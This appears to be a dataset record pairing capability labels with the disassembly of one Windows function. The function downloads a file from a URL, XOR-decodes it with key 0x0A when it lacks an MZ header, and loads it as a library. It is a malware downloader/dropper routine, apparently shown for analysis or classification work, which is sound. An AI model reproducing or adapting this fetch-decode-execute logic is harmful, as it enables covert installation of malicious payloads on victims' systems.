Function at 0x10004ed0
Capabilities:
Check if file exists
Download and write a file
Download url
Get file size
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x10014004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x208
push 0
lea eax, [ebp - 0x250]
push eax
call fcn.1000a3d0
add esp, 0xc
push 0x23
mov ecx, 0x100122c4
lea ebx, [ebp - 0x250]
call fcn.10002050
add esp, 4
lea ecx, [ebp - 0x250]
add ecx, 0xfffffffe
mov dword [ebp - 0x270], ecx
mov edx, dword [ebp - 0x270]
mov ax, word [edx + 2]
mov word [ebp - 0x272], ax
add dword [ebp - 0x270], 2
cmp word [ebp - 0x272], 0
jne 0x10004f20
mov edi, dword [ebp - 0x270]
mov ecx, dword [0x100122bc]
mov dword [edi], ecx
push 0x40
push 0
lea edx, [ebp - 0x48]
push edx
call fcn.1000a3d0
add esp, 0xc
call fcn.10005469
push eax
push 0x100124b8
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x278], ecx
mov edx, dword [ebp - 0x278]
mov dword [ebp - 0x27c], edx
mov eax, dword [ebp - 0x278]
mov cx, word [eax]
mov word [ebp - 0x27e], cx
add dword [ebp - 0x278], 2
cmp word [ebp - 0x27e], 0
jne 0x10004f8d
mov edx, dword [ebp - 0x278]
sub edx, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x288], edx
lea ecx, [ebp - 0x250]
add ecx, 0xfffffffe
mov dword [ebp - 0x28c], ecx
mov edx, dword [ebp - 0x28c]
mov ax, word [edx + 2]
mov word [ebp - 0x28e], ax
add dword [ebp - 0x28c], 2
cmp word [ebp - 0x28e], 0
jne 0x10004fdb
mov edi, dword [ebp - 0x28c]
mov esi, dword [ebp - 0x284]
mov edx, dword [ebp - 0x288]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push 0
push 0
lea ecx, [ebp - 0x250]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10005067
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileW
cmp dword [ebp - 4], 0
jne 0x10005230
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10005230
push 0
push 0x80
push 3
push 0
push 3
push 0xe0000000
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0xffffffff
je 0x10005230
push 0
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x258]
call fcn.100048f0
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
je 0x10005223
mov dword [ebp - 0x260], 0
mov edx, dword [ebp - 0x258]
push edx
push 0
mov eax, dword [ebp - 0x25c]
push eax
call fcn.1000a3d0
add esp, 0xc
push 0
lea ecx, [ebp - 0x260]
push ecx
mov edx, dword [ebp - 0x258]
push edx
mov eax, dword [ebp - 0x25c]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10005223
mov edx, dword [ebp - 0x25c]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x1000519f
mov dword [ebp - 0x264], 0
jmp 0x1000516f
mov ecx, dword [ebp - 0x264]
add ecx, 1
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x264]
cmp edx, dword [ebp - 0x258]
jae 0x1000519f
mov eax, dword [ebp - 0x25c]
add eax, dword [ebp - 0x264]
movzx ecx, byte [eax]
xor ecx, 0xa
mov edx, dword [ebp - 0x25c]
add edx, dword [ebp - 0x264]
mov byte [edx], cl
jmp 0x10005160
call fcn.10001ff0
cmp eax, 0x20
jne 0x100051be
push 0
push 1
mov eax, dword [ebp - 0x25c]
push eax
call fcn.10004d10
add esp, 0xc
jmp 0x10005223
mov dword [ebp - 0x268], 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x268]
push edx
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x25c]
push ecx
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10005223
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x250]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x26c], eax
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10005252
mov esp, ebp
pop ebp
ret